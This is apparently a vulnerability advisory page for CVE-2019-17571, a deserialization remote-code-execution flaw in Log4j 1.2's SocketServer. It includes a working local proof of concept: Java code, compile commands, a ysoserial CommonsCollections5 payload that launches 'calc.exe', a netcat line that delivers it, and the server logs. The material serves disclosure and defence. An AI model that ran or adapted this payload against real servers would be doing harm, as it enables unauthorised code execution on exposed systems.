icon

We found results for “

CVE-2019-17571

Date: December 20, 2019

Overview

Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data. This affects Log4j versions up to 1.2 up to 1.2.17.

Details

org.apache.log4j.net.SocketServer is a simple server which is able to receive serialized org.apache.log4j.spi.LoggingEvent objects, and route them through the logging system on the server.
SocketServer deserializes the objects it receives without any validation, allowing a remote attacker to execute arbitrary OS commands on the server machine.

PoC Details

Environment:
Windows 10, OpenJDK 1.8.0_282, Apache Maven 3.8.1.

JARS downloaded:
log4j:log4j:1.2.17
commons-collections:commons-collections:3.1
com.github.frohoff:ysoserial:0.0.5

To reproduce the vulnerability, start by implementing a minimal needed SocketServer with a short program. The SocketServer's main function accepts 3 arguments in an `argv` list of strings: port, config file and config dir. Those are mandatory arguments, so we will create an empty file with a .tcl extension, and pass it as the config file argument, and its directory path as the config dir argument. Later on, when searching for a non-empty config file, log4j will ultimately revert to using its own configuration.
Next, we will compile and run the code just written, with log4j and commons-collections as dependencies. Now we have a SocketServer instance running and listening on the previously given port.
We will now create a binary file, containing the serialized data of the `calc.exe` cmd command for Windows. This will be done using the "ysoserial" tool.
Next we will use netcat command to pass the binary file to the listening socket. SocketServer will deserialize it and execute the `calc.exe` command, resulting in the calculator program showing up on the screen.
This proves arbitrary commands could be run on the server machine remotely.

PoC Code

// On your working dir, create a java file called "DeserializationLog4jPoc.java" with below code:

import org.apache.log4j.BasicConfigurator;
import org.apache.log4j.net.SocketServer;

public class DeserializationLog4jPoc {

    public static void main(String[] args) {
        BasicConfigurator.configure();
        SocketServer.main(new String[]{"1337", "<full path to working dir>/config/config.lcf", "<full path to working dir>/config"});
    }
}

// Now, compile the code with CommonsCollections and log4j as dependencies:
javac -classpath "path\to\log4j\log4j\1.2.17\log4j-1.2.17.jar;path\to\commons-collections\commons-collections\3.1\commons-collections-3.1.jar" DeserializationLog4jPoc.java

// There will now be a file called "DeserializationLog4jPoc.class" in your working directory.

// To run SocketServer's main function, we will need to supply a configuration file and a configuration dir. Run the following:
mkdir "config"
fsutil file createnew config\config.tcl 0

// Now run the .class file created eariler with the below command:
java -classpath "C:\Users\username\.m2\repository\log4j\log4j\1.2.17\log4j-1.2.17.jar;C:\Users\username\.m2\repository\commons-collections\commons-collections\3.1\commons-collections-3.1.jar;." DeserializationLog4jPoc

// SocketServer is now listening on port 1337, and will output the following:
0 [main] INFO org.apache.log4j.net.SocketServer  - Listening on port 1337
6 [main] INFO org.apache.log4j.net.SocketServer  - Waiting to accept a new client.

// Using https://github.com/frohoff/ysoserial tool, serialize the `calc.exe` Windows command with the below command:
java -jar ysoserial.jar CommonsCollections5 "calc.exe"> exploit.bin

// Now using netcat, connect to the listening port and pass the payload binary file created earlier:
nc.exe localhost 1337 < exploit.bin

// On the SocketServer execution terminal, the following will be outputted:
92244 [main] INFO org.apache.log4j.net.SocketServer  - Connected to client at /127.0.0.1
92244 [main] INFO org.apache.log4j.net.SocketServer  - Locating configuration file for /127.0.0.1
92245 [main] WARN org.apache.log4j.net.SocketServer  - Could not find config file  [<full path to working dir>\config\.lcf].
92245 [main] WARN org.apache.log4j.net.SocketServer  - Could not find config file [<full path to working dir>\config\generic.lcf]. Will use the default hierarchy.
92245 [main] INFO org.apache.log4j.net.SocketServer  - Starting new socket node.
92283 [main] INFO org.apache.log4j.net.SocketServer  - Waiting to accept a new client.
92304 [Thread-0] ERROR org.apache.log4j.net.SocketNode  - Unexpected exception. Closing conneciton.
java.lang.ClassCastException: javax.management.BadAttributeValueExpException cannot be cast to org.apache.log4j.spi.LoggingEvent
tat org.apache.log4j.net.SocketNode.run(SocketNode.java:82)
tat java.lang.Thread.run(Thread.java:748)

// Although SocketServer threw an exception, Windows calculator will now be executed and displayed on the screen, proving a remote, arbitrary code was executed on the machine.

Affected Environments

1.2 through 1.2.17

Prevention

Upgrade to Log4j 2

Language: Java

Good to know:

icon
icon

Deserialization of Untrusted Data

CWE-502
icon

Upgrade Version

No fix version available

Base Score:
Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): None
User Interaction (UI): None
Scope (S): Unchanged
Confidentiality (C): High
Integrity (I): High
Availability (A): High
Base Score:
Access Vector (AV): Network
Access Complexity (AC): Low
Authentication (AU): None
Confidentiality (C): Partial
Integrity (I): Partial
Availability (A): Partial
Additional information: